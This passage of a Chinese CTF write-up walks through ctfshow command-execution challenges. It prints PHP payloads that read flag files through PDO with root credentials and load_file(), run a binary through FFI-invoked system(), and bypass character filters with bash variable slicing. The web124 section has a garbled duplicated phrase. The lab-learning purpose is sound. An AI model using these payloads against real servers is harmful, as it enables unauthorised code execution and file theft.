 然后,直接用include包含就可以解题了。

ctfshow 命令执行 刷题记录_第99张图片

web75.

ctfshow 命令执行 刷题记录_第100张图片

 还是一样的题目。

这道题就是用文件包含include来做已经做不来了,然后用uaf脚本也用不了了,这里就学到一种数据库解法

第一步(先查到数据库名称)

ctfshow 命令执行 刷题记录_第101张图片

c=$dsn = "mysql:host=localhost;dbname=information_schema";
$db = new PDO($dsn, 'root', 'root');
$rs = $db->query("select group_concat(SCHEMA_NAME) from SCHEMATA");
foreach($rs as $row){
        echo($row[0])."|"; 
}exit();

第二步

直接用load_file()查flag。(猜一下flag在ctftraining数据库里)

c=$dsn = "mysql:host=localhost;dbname=ctftraining";
$db = new PDO($dsn, 'root', 'root');
$rs = $db->query("select load_file('/flag36.txt')");
foreach($rs as $row){
        echo($row[0])."|"; 
}exit();

然后拿到flag。

web76.

ctfshow 命令执行 刷题记录_第102张图片

 先用glob伪协议查到flag叫什么名(flag36d.txt),然后直接用上一题的pl直接拿到flag。

ctfshow 命令执行 刷题记录_第103张图片

 web77.

ctfshow 命令执行 刷题记录_第104张图片

题目还是这样子,但是这道题不能用PDO来连接数据库了。 

用glob伪协议      查出了根目录下的两个可疑文件     readflag   flag36x.txt

ctfshow 命令执行 刷题记录_第105张图片

 所以

我们得换一种写法,就是利用FFI

利用php7.4的FFI

(PHP 7 >= 7.4.0, PHP 8)
FFI::cdef — Creates a new FFI object
FFI(Foreign Function Interface),即外部函数接口,是指在一种语言里调用另一种语言代码的技术。

PHP7.4中FFI的介绍(代码示例)-php教程-PHP中文网

$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > 1.txt';//将readflag里面的内容传给1.txt
$ffi->system($a);//通过$ffi去调用system函数

 ctfshow web入门 命令执行web75-77_Make-1t-0r-d1e的博客-CSDN博客_ctfshow web77

 来自这篇文章,写的很好,可以参考

linux权限的可以参考这篇文章,写的很好很全

【Linux】目录文件权限的查看和修改_lduzhenlin的博客-CSDN博客

ctfshow 命令执行 刷题记录_第106张图片

 web118.

ctfshow 命令执行 刷题记录_第107张图片

 ctfshow 命令执行 刷题记录_第108张图片

 是system()的命令执行

这道题经过fuzz测试,发现大写字母A-Z${}~.?:都可以用

所以只能构造命令来执行

ctfshow 命令执行 刷题记录_第109张图片

 然后当前网站是在/var/www/html下面   所以可以进行构造 

${PATH:~A}${PWD:~A}${IFS}???????? === nl flag.php      //flag在flag.php是题目提示的

 ~A是指的是需要最后一位    ~0也是,但这里用不了,被过滤了。

 ctfshow 命令执行 刷题记录_第110张图片

 ctfshow 命令执行 刷题记录_第111张图片

 web119.

ctfshow 命令执行 刷题记录_第112张图片

php代码审计前奏之ctfshow之命令执行 - FreeBuf网络安全行业门户    

这篇博客写的非常详细了,我就不写了,可以参考参考这篇博客。

这里面的HOSTNAME应该是自己去构造env看来的  或者是自己去构造echo ${HOSTNAME}看出来的

web120.

ctfshow 命令执行 刷题记录_第113张图片

php代码审计前奏之ctfshow之命令执行 - FreeBuf网络安全行业门户

 这篇文章里的${#IFS}

ctfshow 命令执行 刷题记录_第114张图片

 web121.

php代码审计前奏之ctfshow之命令执行 - FreeBuf网络安全行业门户

ctfshow 命令执行 刷题记录_第115张图片

 web122.

ctfshow 命令执行 刷题记录_第116张图片

php代码审计前奏之ctfshow之命令执行 - FreeBuf网络安全行业门户

还是这篇文章    因为讲的很详细,所以我就不写了

web124.

preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', content,content,used_funcs);

表示匹配content变量中以字母或下划线开头,后面任意数量的字母、数组、下划线组成的字符串,将所有的可能结果放在content变量中以字母或下划线开头,后面任意数量的字母、数组、下划线组成的字符串,将所有的可能结果放在used_funcs数组中。

其中,

  • \x7f-\xff 代表一个ASCII码字符,范围是0x7f(10进制 127)到0xff(10进制 255),这在ascii码表里都是不可见字符。
  • * 匹配前面的子表达式零次或多次。
  • php代码审计前奏之ctfshow之命令执行 - FreeBuf网络安全行业门户

还是这篇文章,写的真的很好,感兴趣可以去参考参考。

你可能感兴趣的:(php,开发语言,web安全,学习)